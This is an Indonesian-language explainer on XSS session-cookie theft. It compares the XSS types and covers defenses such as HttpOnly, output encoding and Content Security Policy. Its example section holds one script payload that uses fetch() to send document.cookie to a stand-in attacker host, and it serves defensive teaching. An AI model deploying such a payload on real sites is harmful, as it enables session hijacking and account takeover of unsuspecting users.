Pencurian cookie session melalui kerentanan Cross-Site Scripting (XSS) adalah eksploitasi di mana penyerang menyuntikkan skrip berbahaya—biasanya JavaScript—ke dalam situs web tepercaya. Ketika korban mengeksekusi skrip tersebut di dalam browser mereka, skrip dapat mengakses objek document.cookie dan mengirimkan data sesi korban ke server milik penyerang. Hal ini memungkinkan penyerang melakukan pembajakan sesi (session hijacking) dan menyamar sebagai korban tanpa memerlukan kata sandi.
Mekanisme Kerja Pencurian Cookie Session via XSS
Eksploitasi ini terjadi ketika aplikasi web gagal memvalidasi atau membersihkan masukan pengguna (input sanitization) sebelum menampilkannya kembali ke halaman web (tipe Stored atau Reflected XSS), atau mengeksekusinya langsung di sisi klien (DOM-based XSS). Begitu skrip berjalan di browser, hambatan keamanan asal (same-origin policy) diabaikan terhadap skrip yang disuntikkan tersebut, memberikan akses penuh ke penyimpanan sesi lokal.
Contoh Payload XSS Sederhana
Berikut adalah contoh payload JavaScript dasar yang sering digunakan penyerang untuk mencuri cookie:
<script>
fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>
Jika cookie tidak dilindungi oleh bendera keamanan yang tepat, skrip di atas akan mengambil seluruh string cookie dan mengirimkannya diam-diam ke server pengendali penyerang.
Matriks Komparasi Jenis XSS dan Risiko Cookie
| Jenis XSS | Vektor Serangan | Tingkat Risiko Pencurian Sesi |
|---|---|---|
| Stored XSS | Payload disimpan di database (misal: kolom komentar) | Sangat Tinggi (Menyerang setiap pengunjung halaman) |
| Reflected XSS | Payload disisipkan via URL (misal: parameter pencarian) | Sedang-Tinggi (Membutuhkan interaksi korban mengklik tautan) |
| DOM-based XSS | Manipulasi DOM sisi klien oleh skrip rentan | Tinggi (Bergantung pada logika JavaScript aplikasi) |
Langkah Mitigasi dan Pertahanan Teknis
Mengamankan aplikasi web dari pencurian sesi berbasis XSS memerlukan pendekatan berlapis, mulai dari pengamanan penyimpanan cookie hingga sanitasi input yang ketat.
1. Implementasi HttpOnly Cookie Flag
Langkah paling efektif untuk mencegah pencurian cookie via XSS adalah dengan menambahkan atribut HttpOnly pada cookie sesi. Ketika atribut ini aktif, browser melarang skrip sisi klien (seperti JavaScript) mengakses cookie tersebut melalui document.cookie.
Set-Cookie: session_id=xyz123; Secure; HttpOnly; SameSite=Strict
2. Sanitasi dan Enkode Output
Selalu lakukan enkode pada data apa pun yang berasal dari pengguna sebelum dirender ke dalam HTML. Ubah karakter khusus menjadi entitas HTML yang aman (contoh: mengubah < menjadi < dan > menjadi >).
3. Penerapan Content Security Policy (CSP)
Konfigurasikan header HTTP CSP untuk membatasi sumber eksekusi skrip. CSP yang kuat dapat mencegah browser mengeksekusi skrip inline atau skrip dari domain eksternal yang tidak sah.
Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.com;
Troubleshooting Lapangan dan Validasi Keamanan
Jika ditemukan indikasi pembajakan sesi pada sistem:
- Segera lakukan invalidasi atau kedaluwarsa sesi (session revocation) pada server bagi pengguna yang terdampak.
- Gunakan pemindai kerentanan otomatis (DAST/SAST) untuk mendeteksi titik injeksi XSS pada kode sumber.
- Lakukan audit pada pustaka pihak ketiga (third-party libraries) yang rentan terhadap kerentanan injeksi.